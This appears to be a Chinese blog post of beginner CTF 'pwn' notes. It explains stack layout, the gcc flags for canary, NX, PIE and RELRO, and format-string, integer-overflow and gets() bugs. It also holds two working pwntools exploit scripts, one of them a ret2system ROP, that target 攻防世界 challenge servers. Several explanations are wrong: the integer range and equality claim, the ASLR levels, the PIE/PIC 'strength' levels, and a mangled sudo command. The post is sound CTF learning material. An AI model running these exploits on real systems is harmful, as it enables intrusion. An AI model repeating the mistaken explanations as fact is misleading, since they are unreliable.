Pwn基础

pwn前置基础

栈溢出及其返回地址(简略)

栈顶:esp
栈底:ebp

返回地址的地址位于 ebp,也就是栈底的地址加 4 个字节,假如 ebp 为 0xFF99C968, 那么返回地址就是 0XFF99C96C
中间相差 4(或者 8 个字节) 个字节,同时要说一下地址的数字越大代表在栈堆中的位置越往下,也可以理解为返回地址在栈底下面 4(或者)个字节。

例如 0x00007FFCB22FC5A0,这就是 64 位的栈地址,而这时候函数的返回地址就是栈底的地址加 8,也就是 0x00007FFCB22FC5F8

详细分析见我的内存模型和栈和堆的笔记

checksec 指令

用来查询 pwn 题目的壳和保护,并且能够看到程序的信息

checksec (ELF文件名)

常见保护

Canary

stack canary表示栈的报警保护。在函数返回值之前添加的一串随机数(不超过机器字长),末位为/x00(提供了覆盖最后一字节输出泄露canary的可能),如果出现缓冲区溢出攻击,覆盖内容覆盖到canary处,就会改变原本该处的数值,当程序执行到此处时,会检查canary值是否跟开始的值一样,如果不一样,程序会崩溃,从而达到保护返回地址的目的。

gcc -o test test.c // 默认情况下,不开启Canary保护
gcc -fno-stack-protector -o test test.c //禁用栈保护
gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码

NX

NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。栈溢出的核心就是通过局部变量覆盖返回地址,然后加入shellcode,NX策略是使栈区域的代码无法执行。

gcc -o test test.c // 默认情况下,开启NX保护
gcc -z execstack -o test test.c // 禁用NX保护
gcc -z noexecstack -o test test.c // 开启NX保护

PIE(ASLR)

内存地址随机化机制(address space layout randomization),有以下三种情况
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。

gcc -o test test.c // 默认情况下,不开启PIE
gcc -fpie -pie -o test test.c // 开启PIE,此时强度为1
gcc -fPIE -pie -o test test.c // 开启PIE,此时为最高强度2
gcc -fpic -o test test.c // 开启PIC,此时强度为1,不会开启PIE
gcc -fPIC -o test test.c // 开启PIC,此时为最高强度2,不会开启PIE

关闭 PIE

sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

RELRO

Partial RELRO:GCC 的默认设置,几乎所有的二进制文件都至少使用 部分RELRO。这样仅仅只能防止全局变量上的缓冲区溢出从而覆盖 GOT。

Full RELRO:使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。

gcc -o test test.c // 默认情况下,是Partial RELRO
gcc -z norelro -o test test.c // 关闭,即No RELRO
gcc -z lazy -o test test.c // 部分开启,即Partial RELRO
gcc -z now -o test test.c // 全部开启,即Full RELRO

常见基础漏洞

格式化字符串漏洞

主要这个开启了 canary,就不能直接利用栈溢出覆盖返回地址了
所以可以通过格式化字符串漏洞泄露 canary 的值,然后再进行栈溢出的覆盖

格式化字符串漏洞是因为 printf 的输出完全由用户控制
一个是通过 %p(将参数以十六进制方式打印)来实现任意内存泄露
64 位前六个参数位于寄存器,第多少个 %p 是目的内存则可以通过栈帧进行计算,八位(0x8)为一个 %p
再就是通过 %n(把输出字符的个数写入到地址中)来实现任意内存写入

栈溢出需要注意的则是由于开启了 CANNARY,覆盖是需要注意把 canary 用原值覆盖

在使用输出功能时,例如使用 printf() 函数时
使用了如下的代码,
printf(&s),
当然这是种错误的写法
正确的写法是
printf("%s",s)
但是错误的写法可以运行么,答案是可以的。

整数溢出漏洞

先贴一下 ctf 手册里面的定义。

img

整数溢出的原理:
假定一个整数,为 int 类型,我们要知道他的取值范围在 0-65535 之间

那么如果如果我们赋值给 var1=0,var2=65536, 那么在条件判断语句 if(var1==var2) 之下,他们两个是相等的。

同理可得 var1=1=var2=65537。

gets 函数所产生的漏洞

gets 函数不会限制输入的字符个数,所以会产生栈溢出漏洞

这里举个攻防世界的例子:
when_did_you_born

例如下图所示,我们就可以看到这个程序打开了 NX 保护和 Canary 保护,同时知道了它是一个 64 位的程序

img

可以看到gets()函数不限制输入字符串的长度

故构造exp:

from pwn import*
c=remote('220.249.52.133',35638)
c.recvuntil("What's Your Birth?")
c.sendline("1999")
c.recvuntil("What's Your Name?")
p='a'*(0x20-0x18)+p64(1926)       #gets()的栈溢出
c.sendline(p)
c.interactive()

ROP

返回导向编程技术(Return-Oriented Programming,ROP)。所谓ROP,简单的说就是把原来已经存在的代码块拼接起来,拼接的方式是通过一个预先准备好的特殊的返回栈,里面包含了各条指令结束后下一条指令的地址。

同样使用攻防世界的题目举例:

file命令查看elf为32位的程序,拖到IDA打开

发现system函数和vulnerable_function()函数

进入vulnerable_function()函数:

注意到数组buf长度为0x88,而read函数允许读入长度为0x100,存在明显栈溢出漏洞

且查找发现有字符串:\bin\sh

故查找system函数\bin\sh的地址,构造exp

system地址:0x08048320

\bin\sh地址:0x0804A024

注意:程序为32位,ebp地址为4个字符

#exp

from pwn import*
c=remote('220.249.52.133',34222)
c.recvuntil("Input:")
p='a'*0x88+'a'*4+p32(0x08048320)+'a'*4+p32(0x0804A024)  #两个‘a’*4为覆盖他们栈帧的ebp
c.sendline(p)
c.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇